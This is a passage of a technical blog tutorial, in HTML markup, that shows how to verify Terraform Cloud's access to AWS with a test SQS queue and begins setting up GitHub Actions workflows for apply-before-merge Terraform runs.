data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ePlan: 10 to add, 0 to change, 0 to destroy.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eApply it to make those resources:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e❯ terraform apply\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eAt this point it:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eCreated a terraform cloud organization\u003c/li\u003e\n\u003cli\u003eCreated a terraform cloud workspace\u003c/li\u003e\n\u003cli\u003eCreated a git repository\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1\u003eVerify TFC can talk to AWS\u003c/h1\u003e\n\u003cp\u003eTo verify that TFC can communicate with AWS through the dynamic credentials,\nlets clone the \u003cem\u003eNEW\u003c/em\u003e repository we just generated and make some dummy resources. After\nyou've cloned the repository lets make a folder for the workspace \u003ccode\u003eroot\u003c/code\u003e that we\ndefined in bootstrap:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emkdir\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecd\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow create a \u003ccode\u003e1-providers.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ecloud\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    organization\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sontek\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eworkspaces\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003erequired_providers\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    aws\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      source  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"hashicorp/aws\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      version \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"4.58.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    tfe\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      source  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"hashicorp/tfe\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      version \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"0.42.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eprovider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  region\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"us-east-1\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003edefault_tags\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    tags\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      Owner   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"john@sontek.net\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      Env     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      Service \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"BusinessOperations\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eNOTE\u003c/strong\u003e: You should replace \u003ccode\u003eorganization\u003c/code\u003e, \u003ccode\u003eworkspaces.name\u003c/code\u003e, and\n\u003ccode\u003etags.Owner\u003c/code\u003e to be your own values.\u003c/p\u003e\n\u003cp\u003eNow create a small resource to prove everything is working, we'll use SQS for\nthis. Create a file called \u003ccode\u003e2-sqs.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_sqs_queue\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"example-sqs\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e                        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"example-sqs\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  message_retention_seconds\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e86400\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  receive_wait_time_seconds\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIf you run the plan you should see the resource it wants to create:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einit\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eplan\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eand you should see the run is executing in terraform cloud:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eRunning plan in Terraform Cloud. Output will stream here. Pressing Ctrl-C\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ewill stop streaming the logs, but will not stop the plan running remotely.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can click the link it provides to see the logs. Now lets apply this\nresource to see it all working:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e❯ terraform apply\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou should get a response like:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eApply complete! Resources: 1 added, 0 changed, 0 destroyed.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo Terraform Cloud has full access to create AWS resources!   The final step\nis to get github running the plan/apply on pull requests. Commit these files\nto your repository and we'll remove them in a pull request. Create a\n\u003ccode\u003e.gitignore\u003c/code\u003e file in the root:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e.terraform*\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eand commit all the files:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eadd\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecommit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-m\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"initial infra\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epush\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eorigin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehead\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eGithub Actions\u003c/h1\u003e\n\u003cp\u003eThe two most popular workflows when using terraform are:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eApply after Merge\u003c/strong\u003e: This is the default for things like\n\u003ca href=\"https://terraform.io\"\u003eterraform cloud\u003c/a\u003e and most github actions.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eApply before Merge\u003c/strong\u003e: This is the default for things like\n\u003ca href=\"https://www.runatlantis.io/\"\u003eAtlantis\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI don't like apply-after-merge.  There are a lot of ways where a \u003ccode\u003eplan\u003c/code\u003e\ncan succeed but an \u003ccode\u003eapply\u003c/code\u003e will fail and you end up with broken configuration\nin \u003ccode\u003emain\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eSo in this article I'll show you how to implement \u003cstrong\u003eapply-before-merge\u003c/strong\u003e with\ngithub actions.\u003c/p\u003e\n\u003cp\u003eAll of these changes will be in the \u003ccode\u003einfra\u003c/code\u003e repository that was generated from\n\u003ccode\u003ebootstrap\u003c/code\u003e.  We are done with the bootstrap at this point.\u003c/p\u003e\n\u003cp\u003eFirst, lets setup the \u003ccode\u003e.github\u003c/code\u003e folder, the end result we want is:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e.github/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e└──\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworkflows\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e├──\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eon-apply-finished.yml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e├──\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eon-pull-request-labeled.yml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e└──\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eon-pull-request.yml\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo create the folders:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emkdir\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-p\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.github/workflows\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eOn Pull Request\u003c/h1\u003e\n\u003cp\u003eThe first flow we'll create is the \u003ccode\u003eterraform plan\u003c/code\u003e workflow which should be\nran whenever a pull request is opened. Create the file\n\u003ccode\u003e.github/workflows/on-pull-request.yml\u003c/code\u003e and put this content in it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epr_build\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull_request\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ebranches\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emain\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eenv\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eTERRAFORM_CLOUD_TOKENS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapp.terraform.io=${{ secrets.TFE_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eGITHUB_TOKEN\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eterraform_validate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eruns-on\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003estrategy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efail-fast\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ematrix\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efolder\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          - 